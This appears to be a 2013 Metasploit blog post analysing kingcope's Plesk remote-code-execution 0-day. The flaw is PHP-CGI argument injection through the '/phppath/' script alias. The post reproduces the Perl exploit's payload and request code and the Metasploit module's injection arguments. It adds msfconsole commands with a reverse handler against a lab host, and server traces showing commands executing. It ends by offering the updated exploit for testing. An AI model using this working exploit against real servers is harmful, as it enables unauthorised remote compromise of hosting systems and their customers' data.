According to Parallels, "Plesk is the most widely used hosting control panel solution, providing everything needed for creating and offering rich hosting plans and managing customers and resellers, including an intuitive User Interface for setting up and managing websites, email, databases, and DNS." (source: Parallels). On Jun 05 kingcope shocked Plesk world by announcing a new 0 day which could allow for remote command execution:

According to the information included in the package it's a similar vulnerability to CVE-2012-1823, the PHP argument injection vulnerability discovered and exploited last year when using PHP on CGI mode:

this Plesk configuration setting makes it possible:

scriptAlias /phppath/ "/usr/bin/"

Furthermore this is not cve-2012-1823 because the php interpreter is called directly.

(no php file is called)

On Jun 06 Parallels created an article on its knowledge database where confirmed the exploit applying at least to  Plesk 9.0 - 9.2 on Linux/Unix platforms, and also referencing CVE-2012-1823:

The announced scriptAlias looks dangerous indeed. And after installing a fresh Plesk 9.0 on a CentOS distribution the dangerous script alias definition can be easily spotted. Start looking into the plesk configuration file /etc/psa/psa.conf, where the directory for the httpd configuration can be found:

HTTPD_CONF_D /etc/httpd/conf

There the /etc/httpd/conf/httpd.conf file lives, which also includes the configuration files from the /etc/httpd/conf.d directory:

# Load config files from the config directory "/etc/httpd/conf.d".

Include conf.d/*.conf

Finally, on /etc/httpd/conf.d/php_cgi.conf the dangerous scriptAlias definition can be found:

scriptAlias /phppath/ "/usr/bin/"

Action php-script /phppath/php-cgi

It is indeed a little different vulnerability than the previously mentioned CVE-2012-1823 vulnerability. This scriptAlias allows the power to remotely execute commands on the /usr/bin/ directory through the "/phppath" URI. Since the php interpreter lives on the /usr/bin/ directory, the same exploitation technique used on CVE-2012-1823 can be applied here to achieve remote PHP code execution. And, fortunately, there is already an exploit for CVE-2012-1823 in the Metasploit framework, written by @hdmoore, @egyp7 and @jjarmoc It's time to check if the current exploit can be applied here!

  • The first, and important difference is which the current exploit needs the user to specify a TARGETURI option. It is the URI for a CGI handled php script. It's not true anymore in the Plesk case, because the static URL /phppath/php will be used to execute the PHP interpreter through CGI.

  • Then, looking at the check function, the current metasploit module tries to inject the option -s (php interpreger) against the user specified PHP code:

response = send_request_raw({ 'uri' => uri "?#{create_arg("-s")}"})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
    return Exploit::CheckCode::Vulnerable
end

The option -s on the php interpreter allows to "Display colour syntax highlighted source". In this way is possible to fingerprint the vulnerability, by checking if the PHP syntax highlight style has been applied. It's not true anymore in the Plesk case, because we're calling the PHP interpreter directly, and there isn't PHP source to apply any style, so a 500 HTTP error code will be generated, which can be used for Plesk vulnerability detection purposes.

  • Finally it's time to try exploitation with the current Metasploit module. First of all, will be checking the original kingcope exploit:

$ perl plesk-simple.pl 192.168.172.129

HTTP/1.1 200 OK

Date: Tue, 02 Jul 2013 08:10:30 GMT

Server: Apache/2.2.3 (CentOS)

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html

3

OK

67

Linux localhost.localdomain 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013 i686 i686 i386 GNU/Linux

3e

uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)

0

The PHP code is, indeed, executed. Looking at the original 0day source:

$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id"); ?>';

Time to check how it looks in the server side, by monitoring the httpd process:

[pid  1358] execve("/usr/bin/php", ["/usr/bin/php", "-d", "allow_url_include=on", "-d", "safe_mode=off", "-d", "suhosin.simulation=on", "-d", "disable_functions=\\\"\\\"", "-d", "open_basedir=none", "-d", "auto_prepend_file=php://input", "-n"], [/* 21 vars */]) = 0

[pid  1359] execve("/bin/sh", ["sh", "-c", "uname -a;id"], [/* 21 vars */]) = 0

[pid  1360] execve("/bin/uname", ["uname", "-a"], [/* 24 vars */]) = 0

[pid  1359] --- SIGCHLD (Child exited) @ 0 (0) ---

[pid  1361] execve("/usr/bin/id", ["id"], [/* 24 vars */]) = 0

[pid  1359] --- SIGCHLD (Child exited) @ 0 (0) ---

[pid  1358] --- SIGCHLD (Child exited) @ 0 (0) ---

--- SIGCHLD (Child exited) @ 0 (0) ---

Understood, the httpd is going to exec the "/usr/bin/php" with a serie of php (user provided) options. Within these options the auto_prepend_file PHP option is set to php://input, in order to execute supplied PHP code. It is indeed the same technique used to exploit CVE-2012-1823, and applied in the current Metasploit module:

  • kingcope 0day:
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id"); ?>'; $arguments = uri_escape("-d","\0-\377"). " " .   uri_escape("allow_url_include=on","\0-\377"). " " .   uri_escape("-d","\0-\377"). " " .   uri_escape("safe_mode=off","\0-\377"). " " .   uri_escape("-d","\0-\377"). " " .   uri_escape("suhosin.simulation=on","\0-\377"). " " .   uri_escape("-d","\0-\377"). " " .   uri_escape("disable_functions=\"\"","\0-\377"). " " .   uri_escape("-d","\0-\377"). " " .   uri_escape("open_basedir=none","\0-\377"). " " .   uri_escape("-d","\0-\377"). " " .   uri_escape("auto_prepend_file=php://input","\0-\377"). " " .   uri_escape("-n","\0-\377"); $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377"); print $sock "POST /$path?$arguments HTTP/1.1\r\n"            ."Host: $ARGV[0]\r\n"            ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)\r\n"            ."Content-Type: application/x-www-form-urlencoded\r\n"            ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
  • Metasploit module:
args = [
    rand_spaces(),
    create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
    create_arg("-d","safe_mode=#{rand_php_ini_false}"),
    create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
    create_arg("-d",'disable_functions=""'),
    create_arg("-d","open_basedir=none"),
    create_arg("-d","auto_prepend_file=php://input"),
    create_arg("-n")
]

qs = args.join()
uri = normalize_uri(target_uri.path)
uri = "#{uri}?#{qs}"

# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
    'method' => "POST",
    'global' => true,
    'uri'    => uri,
    'data'   => payload_oneline,
}, 0.5)

Looks good! Testing:

msf > use exploit/multi/http/php_cgi_arg_injection

msf exploit(php_cgi_arg_injection) > set RHOST 192.168.172.129

RHOST => 192.168.172.129

msf exploit(php_cgi_arg_injection) > set TARGETURI /phppath/php

TARGETURI => /phppath/php

msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse handler on 192.168.172.1:4444

msf exploit(php_cgi_arg_injection) >

But no success on the first try. Time to check what happened on the server side:

[pid  1456] execve("/usr/bin/php", ["/usr/bin/php", "-d", "allow_url_include=On", "--define", "safe_mode=off", "--define",
"suhosin.simulation=On", "--define", "disable_functions=\\\"\\\"", "--define", "open_basedir=none", "--define",
"auto_prepend_file=php://input", "-n", **"", ""**], [/* 21 vars */]) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---

Indeed the php interpreter is executed, and the same set of options, with some randomizations courtesy of the Metasploit developers. Looking deeply into these randomizations, some extra spaces on the end were spotted. This results in the PHP interpreter exiting prematurely, without executing our malicious PHP code. Ouch! (Note: These extra spaces were being ignored in more recent versions of the PHP interpreter, where the exploit was running successfully).

Okey, after tighten up a little, and introducing a new "PLESK" option to automate assessing, it's ready to you for testing! Indeed good exploits never die!

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.